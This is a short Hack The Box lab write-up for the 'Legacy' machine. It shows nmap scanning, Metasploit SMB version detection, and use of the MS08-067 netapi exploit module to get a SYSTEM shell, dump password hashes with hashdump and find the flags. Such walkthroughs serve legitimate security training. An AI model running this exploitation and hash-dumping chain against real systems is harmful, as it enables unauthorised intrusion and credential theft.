> For the complete documentation index, see [llms.txt](https://htb.haydenhousen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.haydenhousen.com/old-machine-writeups/legacy.md).

# Legacy

HTB - 1. Legacy

1. `nmap -A -T4 -p- 10.10.10.4` shows 139 and 445 open, running Windows XP, computer name LEGACY, message\_signing disabled.
2. `smbclient -L \\10.10.10.4\\` no connection
3. Metasplot

   ```
   sudo msfconsole
   search smb_version
   use auxiliary/scanner/smb/smb_version
   options
   set rhosts 10.10.10.4
   exploit
   ```

   Result: running Windows XP SP3
4. Search `smb windows xp sp3 exploit` found <https://www.rapid7.com/db/modules/exploit/windows/smb/ms08\\_067\\_netapi>
5. Metasplot Exploit

   ```
   use exploit/windows/smb/ms08_067_netapi
   set rhosts 10.10.10.4
   run
   getuid
   sysinfo
   help
   hashdump
   shell
   ```

   Result: shell spawned at NT AUTHORITY\SYTEM (root equivalent) `hashdump` gives password hashes Admin Flag at `C:\Documents and Settings\Administrator\Desktop\root.txt` User Flag at `C:\Documents and Settings\john\Desktop\user.txt`